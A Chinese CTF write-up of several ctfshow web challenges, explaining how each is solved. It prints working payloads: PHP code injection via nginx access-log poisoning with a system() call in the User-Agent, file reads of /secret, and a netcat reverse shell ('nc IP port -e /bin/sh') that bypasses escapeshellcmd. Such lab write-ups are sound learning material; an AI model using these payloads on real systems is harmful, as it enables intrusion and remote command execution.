ctfshow web七夕杯

web签到

执行命令没有回显,我们直接写文件就可以了

有字符长度限制

复制代码
ls />a
nl /*>a

访问url/api/a下载文件

easy_calc

php 复制代码
<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

正则EXP

php 复制代码
<?php

$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";

// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(
    range('!', '/'),   // 特殊字符
    range(':', '@'),   // 特殊字符
    range('[', '`'),   // 特殊字符
    range('{', '~'),   // 特殊字符
    range('0', '9'),   // 数字
    range('A', 'Z'),   // 大写字母
    range('a', 'z')    // 小写字母
);

$unmatched_chars = [];

foreach ($all_chars as $char) {
    if (!preg_match($pattern, $char)) {
        $unmatched_chars[] = $char;
    }
}

if (empty($unmatched_chars)) {
    echo "所有字符都被匹配了。\n";
} else {
    echo "未匹配到的字符有:\n";
    foreach ($unmatched_chars as $char) {
        echo $char . " ";
    }
    echo "\n";
}

?>

第一个正则

复制代码
" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用

第二个正则

复制代码
! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
大小写字母和数字

POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1

UA:
<?=system('ls /');?>
<?=system('cat /secret')?>

包含日志文件

easy_cmd

php 复制代码
<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>
复制代码
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

进行转义之后就会进行shell命令但是不能使用带参数的命令

那么我们就反弹shell

复制代码
POST:
cmd=nc IP port -e /bin/sh

然后监听端口进行rce即可

easy_sql

欠着

相关推荐
云和数据.ChenGuang12 小时前
LangGraph 异步 Node 的设计与写法实践
开发语言·人工智能·python·机器学习·php
大白玉米1 天前
MoxPlayer 弹幕播放器源码智能解析线路管理系统自研内核
php
不庸.1 天前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
测试界的小码农2 天前
【Linux 命令实战(03):文件创建、复制、移动与删除,掌握 touch、mkdir、cp、mv、rm】
linux·服务器·php
FungLeo2 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
叼烟扛炮2 天前
Linux 学习笔记(五十九):epoll 的生死抉择——LT 与 ET 模式
linux·运维·服务器·网络·笔记·学习·php
叼烟扛炮2 天前
Linux 学习笔记(五十六):IO 多路复用初探——select 的“三宗罪”
linux·服务器·数据库·笔记·学习·php
zhikouai3 天前
把外部助手接进聊天软件的架构分层与参数配置
服务器·网络·php
叼烟扛炮3 天前
Linux 学习笔记(五十八):IO 多路复用封神——epoll 底层原理揭秘
linux·运维·服务器·网络·笔记·学习·php
叼烟扛炮3 天前
Linux 学习笔记(五十一):数据链路层与 ARP 协议——局域网寻址与黑客骗局
linux·网络·网络协议·php·tcpdump